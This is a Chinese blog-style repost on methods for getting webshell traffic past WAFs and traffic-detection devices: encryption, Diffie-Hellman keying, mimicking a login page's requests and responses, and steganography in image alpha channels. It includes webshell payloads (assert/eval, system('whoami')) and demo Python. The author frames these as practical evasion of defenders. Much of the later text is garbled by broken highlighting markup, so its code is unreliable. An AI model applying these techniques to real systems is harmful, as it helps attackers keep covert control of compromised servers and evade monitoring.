0
  • 聊天消息
  • 系统消息
  • 评论与回复
登录后你可以
  • 下载海量资料
  • 学习在线课程
  • 观看技术视频
  • 写文章/发帖/加入社区
创作中心

完善资料让更多小伙伴认识你,还能领取20积分哦,立即完善>

3天内不再提示

浅谈几种绕过流量检测的方法

冬至配饺子 来源:安全街 作者:anioner 2023-05-22 17:42 次阅读

近几年做渗透测试的时候总是遇到流量特征太明显而被拦截甚至封IP的情况,每次都要耗半天劲去想办法,甚至尝试过改造蚁剑的编码器,奈何NodeJS的功底太差(甚者可以说不会)写到一半就烂尾了。于是就开始自己用Python写了个简单WebShell管理器来绕过流量检测,当然这东西都是后话,这个文章主要还是为分享一下自己的一些绕过思路。

前言:

  1. 本文大概3000字,请合理分配阅读时间。
  2. 本文中的代码为了用来演示而写的,不代表最后的成品脚本。
  3. 此文中的所有方法以客户端和服务器中间的WAF不知道服务器上Web Shell的文件内容为前提。
  4. 此文当中默认当web shel是免杀,所以不考虑shell被杀的问题。

一、编码

编码是最常见的绕过方式,像蚁剑这种就是使用编码的典型工具。常见的编码也就是base64URLHexUnicode之类的了,所以编码这块儿本文不再过多阐述。

二、加密

加密也是常用的绕过流量检测的方法,比如冰蝎、哥斯拉这两个web shell管理工具就是使用加密来绕过流量检测(虽然说现在会被拦截了,但是刚发布的时候是还是很稳的)。常用的加密方式一般是XORAES等对称加密方式(这里暂时不考虑RSA这种非对称加密,这东西简直是bug一般的存在)。这种对称加密有个很大的弊端:

  1. 动态的密钥会在HTTP包里泄露。
  2. 静态密钥容易被机器学会特征。

1、动态的密钥会在HTTP包里泄露

以冰蝎的动态密钥为例:

HTTP/1.1 200 OK
Date: Tue, 16 Aug 2022 15:28:43 GMT
Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
X-Powered-By: PHP/5.4.45
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: PHPSESSID=s9e7ldh4sogigtbuq4u8hqnr14; path=/
Connection: close
Content-Type: text/html
Content-Length: 16

3f2a8ede95042ddc

这个是第一次请求时交换的密钥,之后就会以3f2a8ede95042ddc来进行加解密,如下面这个POST

图片

冰蝎的响应信息

3f2a8ede95042ddc解密得到:

图片

解密冰蝎的响应信息

所以通过这个例子可以看到密钥是泄露在HTTP包里的。

2、静态密钥容易被机器学会特征

在使用一些对称加密算法会因为密码和前几个字节是固定的,导致加密后前几个字符也一直是固定的(部分编码也有这个特征),从而会被WAF给学会特征来拦截。以XORAES-ECB来举例:

import random
import string
from Crypto.Cipher import AES

key = 'this_is_key!!!!!'     # 用感叹号填充到16个字符,方便加密
regular_data = "assert|eval(base64_decode('%s'))"  # 以冰蝎的payload为例

def random_char(num):
    return ''.join(random.choices(string.ascii_letters, k=num))

def xor(text: str, key: str):
    result = ''
    for i in range(max(len(text), len(key))):
      result += chr(ord(text[i % len(text)]) ^ ord(key[i % len(key)]))
    return result

def aes_encrypt(text: str, key: str):
    aes = AES.new(key.encode(), AES.MODE_ECB)
    return aes.encrypt(text.encode())

for i in range(10):
    print(xor(regular_data % random_char(10), key).encode())
for i in range(10):
    print(aes_encrypt(regular_data % random_char(16 - (len(regular_data) - 2 + 10) % 16 + 10), key))

# XOR加密
# b'-:	C@RDB\\6:
;M^mLl{q;+
NZv'
# b'-:	C@RDB\\6:
;M^@vk[S?NZv'
# b"-:	C@RDB\\6:
;M^PfLIF8-;'8NZv"
# b'-:	C@RDB\\6:
;M^plBr{	%NZv'
# b"-:	C@RDB\\6:
;M^ictci'NZv"
# b'-:	C@RDB\\6:
;M^kljxT5NZv'
# b'-:	C@RDB\\6:
;M^I{vBH!NZv'
# b'-:	C@RDB\\6:
;M^uJ@NR+;
NZv'
# b'-:	C@RDB\\6:
;M^gmDXl /
-NZv'
# b'-:	C@RDB\\6:
;M^MkvTm?

如上面的代码所示,可以看到不论是XOR还是AES加密,因为密钥和明文的前几个字符是固定的(AES要求一组为16字节,所以最少要16个字符是固定的才行,当然并不是所有的模式都这样,比如AES-CBC就不会),最后导致的就是前几个密文每次都一样,很容易被机器学习给学会特征

3、怎么办呢?

其实解决方法不难,那就是大名鼎鼎的Diffe-Hellman算法,这个算法一般用在密钥交换上,刚好可以用在这里。具体的算法如下图所示

图片

Diff-Hellman算法原理图

其中:abp都是素数,g任意。用代码尝试一下

import random

a = 13
b = 11
p = 7
g = random.randint(10, 20)
A = g ** a % p
B = g ** b % p
print(A ** b % p == B ** a % p)
# True

所以在实战环境中,服务端可以通过第一次请求获得的gpA来计算出K然后存到session当中并返回自己的B,这样不仅可以在后续的请求中直接使用K来进行加密通信而不被WAF发现的同时还可以随时更换密钥。

三、混淆

混淆也是躲避流量检测设备的有利方法之一,其鼻祖个人认为应该是ShadowSocksR了,它的混淆模式方便了许多人上网。至于SSR具体的原理这里先开个坑,若想了解可以上网搜索。在实际环境中使用加密是为了防止中间人截获我们原始的payload,虽然加密也能起到绕过流量检测设备的作用,但有时候也可能会因为频繁请求而被识别为恶意流量,这时候就需要将我们加密后的(或原始的)payload进行混淆来防止被流量检测设备识别。

1、根据网站原始页面进行流量仿造

一般网站正常情况下不是返回HTML和图片就是返回JSONXML(使用JS进行自加密发送的情况不考虑),所以可以提前定义好请求信息和响应信息,在后续的请求中按照格式去请求。举个例子,以登录页面为例,加入登录页面有一个登录接口POSTusernamepassword,并且返回信息是一段HTML,则可以将Web Shell伪装成这个接口。则理想的请求信息应该如下:

请求信息:

POST /shell.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Accept: text/html
Connection: close

username=admin&password=assert%7Ceval%28%27system%28%22whoami%22%29%27%29&submit=%E7%99%BB%E9%99%86

响应信息:

HTTP/1.1 200 OK
Date: Tue, 16 Aug 2022 15:28:43 GMT
Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
X-Powered-By: PHP/5.4.45
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Connection: close
Content-Type: text/html


  
    "/static/js/jquery.js"span>><span <span class="hljs-class"><span class="hljs-keyword">classspan>span>=<span class="hljs-string">"hljs-name"span>script>
    <title>登录<span <span class="hljs-class"><span class="hljs-keyword">classspan>span>=<span class="hljs-string">"hljs-name"span>title>
  <span <span class="hljs-class"><span class="hljs-keyword">classspan>span>=<span class="hljs-string">"hljs-name"span>head>
  <body>
    <div <span class="hljs-class"><span class="hljs-keyword">classspan>span>=<span class="hljs-string">"form-control"span>>
      <p <span class="hljs-class"><span class="hljs-keyword">classspan>span>=<span class="hljs-string">"form-error"span>>NT AUTHORITYSYSTEM<span <span class="hljs-class"><span class="hljs-keyword">classspan>span>=<span class="hljs-string">"hljs-name"span>p>
      <form <span class="hljs-class"><span class="hljs-keyword">classspan>span>=<span class="hljs-string">"form-block"span> action=<span class="hljs-string">"/shell.php"span> method=<span class="hljs-string">"post"span>>
        <input <span class="hljs-class"><span class="hljs-keyword">classspan>span>=<span class="hljs-string">"input-block"span> type=<span class="hljs-string">"text"span> name=<span class="hljs-string">"username"span> />
        <input <span class="hljs-class"><span class="hljs-keyword">classspan>span>=<span class="hljs-string">"input-block"span> type=<span class="hljs-string">"password"span> name=<span class="hljs-string">"password"span> />
        <input <span class="hljs-class"><span class="hljs-keyword">classspan>span>=<span class="hljs-string">"input-block"span> type=<span class="hljs-string">"submit"span> name=<span class="hljs-string">"submit"span> value=<span class="hljs-string">"登录"span> />
      <span <span class="hljs-class"><span class="hljs-keyword">classspan>span>=<span class="hljs-string">"hljs-name"span>form>
    <span <span class="hljs-class"><span class="hljs-keyword">classspan>span>=<span class="hljs-string">"hljs-name"span>div>
  <span <span class="hljs-class"><span class="hljs-keyword">classspan>span>=<span class="hljs-string">"hljs-name"span>body>
<span <span class="hljs-class"><span class="hljs-keyword">classspan>span>=<span class="hljs-string">"hljs-name"span>html>
span><span class="vditor-linenumber__rows"><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span>span>code>pre>
<p>根据上面的请求信息和响应信息,不难看出<code>shellcode>的链接密码是<code>passwordcode>,而返回的结果是p>
<p><code>NT AUTHORITYSYSTEMcode>p>
<p>,也就是包裹在了原来本应该显示错误信息的地方,这样就做到了上面说到的仿造正常页面。p>
<h3>2、隐写h3>
<p>隐写是我在<code>CTFcode>当中经常遇到的东西,可以利用其思路将<code>payloadcode>的每个字符写入到图片的每个字符当中,其中需要处理的问题是如果<code>payloadcode>不够长会填不满图片或者<code>payloadcode>过长导致图片不够写。后面的情况可以通过更换更大的图片来变为第一种情况。p>
<p>而第一种情况则需要填充,我个人偏向于先将<code>payloadcode>使用<code>base64code>编码,消除掉不可见字符,然后再使用不可见字符(如<code>code>、<code>ÿcode>等),服务端获取后直接剔除不可见字符再<code>base64code>解码即可。p>
<p>以本公众号的<code>logocode>为例,通过<code>PILcode>库可以将<code>payloadcode>写入到图片的每个像素中的<code>alphacode>通道中,也就是透明度。p>
<blockquote>
<p>一个使用16位存储的图片,5位表示红色,5位表示绿色,5位表示蓝色,1位是阿尔法。在这种情况下,Alpha值只能为0或1,要么透明,要么不透明;p>
<p>一个使用32位存储的图片,每8位表示红绿蓝和阿尔法通道。在这种情况下,Alpha通道不只可以表示透明还是不透明,还可以表示256种不同的透明度。p>
blockquote>
<p>所以我们这里用32位存储的图片。代码如下:p>
<pre><code style="max-height:784px;" class="hljs python vditor-linenumber"><span class="hljs-keyword">fromspan> PIL <span class="hljs-keyword">importspan> Image

payload = <span class="hljs-string">'aseert|eval('system("whoami")')'span> + <span class="hljs-string">';'span> * (<span class="hljs-number">1200span> * <span class="hljs-number">1000span>)  <span class="hljs-comment"># 填充脏数据,只为了演示span>
image = <span class="hljs-string">'logo.png'span>

img = Image.<span class="hljs-built_in">openspan>(image)
img = img.convert(<span class="hljs-string">'RGBA'span>)
x, y = img.size

<span class="hljs-comment"># 确保图片的像素点放得下payloadspan>
<span class="hljs-keyword">assertspan> x * y >= <span class="hljs-built_in">lenspan>(payload)

<span class="hljs-comment"># 填充payload到图片像素点的数量span>
payload = payload + <span class="hljs-string">'�'span> * (x * y - <span class="hljs-built_in">lenspan>(payload))

<span class="hljs-keyword">forspan> i <span class="hljs-keyword">inspan> <span class="hljs-built_in">rangespan>(x):
    <span class="hljs-keyword">forspan> j <span class="hljs-keyword">inspan> <span class="hljs-built_in">rangespan>(y):
        color = img.getpixel((i, j))
        new_color = color[:-<span class="hljs-number">1span>] + (<span class="hljs-built_in">ordspan>(payload[i * x + j]), )
        img.putpixel((i, j), new_color)
img.show()
img.save(<span class="hljs-string">'anioner.png'span>)
<span class="vditor-linenumber__rows"><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span>span>code>pre>
<p>这个代码即可做到将字符串隐写到图片当中,效果如下:p>
<p><img src="//file1.elecfans.com/web2/M00/88/88/wKgaomRrOImARDe5AACE5MOqCZU586.jpg" alt="图片" />p>
<p>右侧为原始图片,左侧为隐写后的图片p>
<p>如何解密呢?那就是反向操作把<code>RGBAcode>取出来然后把<code>Acode>转成字符串即可。p>
<h2>总结h2>
<p>实际上,上面的那些绕过方式还是有问题的,这里列举一些各自的优缺点。p>
<ol><li><code>Diffe-Hellmancode>算法
<ol><li>优点:<br />
1、能够有效防止中间人获取到密钥从而解密流量li>
<li>缺点:<br />
1、那些素数过小时会导致很容易就被爆破出来密钥<br />
2、如果素数过大(哪怕是3位整数)会导致整型溢出而计算错误<br />
3、需要额外一次请求来获取密钥,增加了特征li>
ol>li>
<li>页面仿造
<ol><li>优点:<br />
1、增加判断难度,尤其是在配合了加密后<br />
2、管理员的溯源难度增加那么一丢丢li>
<li>缺点:<br />
1、过多的增加了原来的数据大小,网络环境差时会导致传输很慢的问题<br />
2、若原始的<code>payloadcode>未进行加密或编码依然会被检测出特征li>
ol>li>
<li>图片隐写
<ol><li>优点:<br />
1、无法肉眼判断<br />
2、很少有<code>WAFcode>检测图片<br />
3、随时可以更换隐写载体,如视频音频li>
<li>缺点:<br />
1、数据长度较原始<code>payloadcode>增大了很多<br />
2、频繁的<code>POSTcode>图片也是一个特征<br />
3、容易被提取,需要加密li>
ol>li>
ol><p>其实绕过流量检测设备的方法很多,上面列举的只是我自己一堆想法中的几个,个人认为其中的<code>Diffe-Hellmancode>算法在解决了额外的一次请求之后应该是很无敌的存在。p>
div>
声明:本文内容及配图由入驻作者撰写或者入驻合作网站授权转载。文章观点仅代表作者本人,不代表电子发烧友网立场。文章及其配图仅供工程师学习之用,如有内容侵权或者其他违规问题,请联系本站处理。 举报投诉
  • 编码器
    +关注

    关注

    41

    文章

    3362

    浏览量

    131560
  • URL
    URL
    +关注

    关注

    0

    文章

    134

    浏览量

    14833
  • RSA
    RSA
    +关注

    关注

    0

    文章

    59

    浏览量

    18760
  • python
    +关注

    关注

    51

    文章

    4677

    浏览量

    83476
收藏 人收藏

    评论

    相关推荐

     电容的几种检测方法

     电容的几种检测方法1、万用表检测法   对于O.01μF以上的固定电容器。可用万用表的R×1k挡直接测试电容器有无充电过程以及有无内部短路或漏电,并可根据指针向右摆动的幅度大小估计出
    发表于 03-28 17:31

    涡街流量计如何检测流量

      很多业主在使用涡街流量计会偶尔遇到涡街流量计没有流量显示,针对这种情况小编给出以下几点处理方法:  1、确认涡街流量计是否接入电源,检查
    发表于 01-05 16:18

    仪器仪表的检测方法有哪几种

    本文介绍了几种仪器仪表的检测方法
    发表于 05-08 08:06

    电网谐波的传统检测方法有哪几种

    电网谐波的传统检测方法有哪几种?基于神经网络的有源电力滤波器应用研究
    发表于 05-13 07:03

    几种插入式流量计a系数计算方法的探讨

    摘要:简介了点流速计型插入式流量计的结构与测量原理,重点探讨了在仪表系数K的计算修正中最重要的速度分布系数a的几种计算方法及特点。类健询插人式流量计仪表系数K a
    发表于 01-22 18:29 16次下载

    一种气固质量流量检测方法的实验研究

    介绍了热式多传感器信息融合的气固质量流量检测方法的实验研究情况;给出了实验系统方案和实验测量装置的硬软件设计. 实验结果分析说明,该检测方法
    发表于 06-27 08:23 11次下载

    几种元件的检测方法

    几种元件的检测方法 一、驻极体话筒灵敏度检测在收录机、电话机等电器中广泛应用的驻极体话筒,其灵敏度直接影响送话和录放效果。这类话
    发表于 01-13 11:20 1269次阅读

    常用的几种管道检测方法

    常用的几种管道检测方法  管道运输是石油、天然气运输采用的主要方式。目前,在我国近70%的原油、100%的天然气是通过管道来进行运输
    发表于 03-20 11:50 1w次阅读

    了解几种集成电路的代换与检测方法

    了解几种集成电路的代换与检测方法
    发表于 12-15 18:25 10次下载

    常用几种无损探伤仪检测方法介绍

    常用几种无损探伤仪检测方法介绍
    发表于 02-07 16:15 14次下载

    基于ME-PGNMF的异常流量检测方法

    由于部分网络异常对流量变化影响不明显,流量分析难以发现此类异常。传统基于主成分分析的网络异常流量检测方法追求全局最优解,对局部特征提取不充分
    发表于 01-17 17:19 0次下载
    基于ME-PGNMF的异常<b class='flag-5'>流量</b><b class='flag-5'>检测</b><b class='flag-5'>方法</b>

    一种改进的加密恶意流量检测方法

    SSL/TLS协议的恶意流量检测数据集来源单一,而传统检测方法通常将网络流量的五元组特征作为主要分类特征,但其在复杂网络环境下对于恶意
    发表于 03-17 14:08 13次下载
    一种改进的加密恶意<b class='flag-5'>流量</b><b class='flag-5'>检测</b><b class='flag-5'>方法</b>

    PCB检测几种常见方法

    PCB检测用以提高产品生产良率的几种检查方法
    的头像 发表于 07-15 14:15 4876次阅读

    绕过kernel模块版本校验检测

    绕过kernel模块版本校验检测
    发表于 10-28 11:07 0次下载

    几种常见的电源检测方法

    BOSHIDA模块电源 几种常见的电源检测方法 电流测量的方法有很多种,每种方法适用不同的场合,每种方法
    的头像 发表于 04-18 09:17 2104次阅读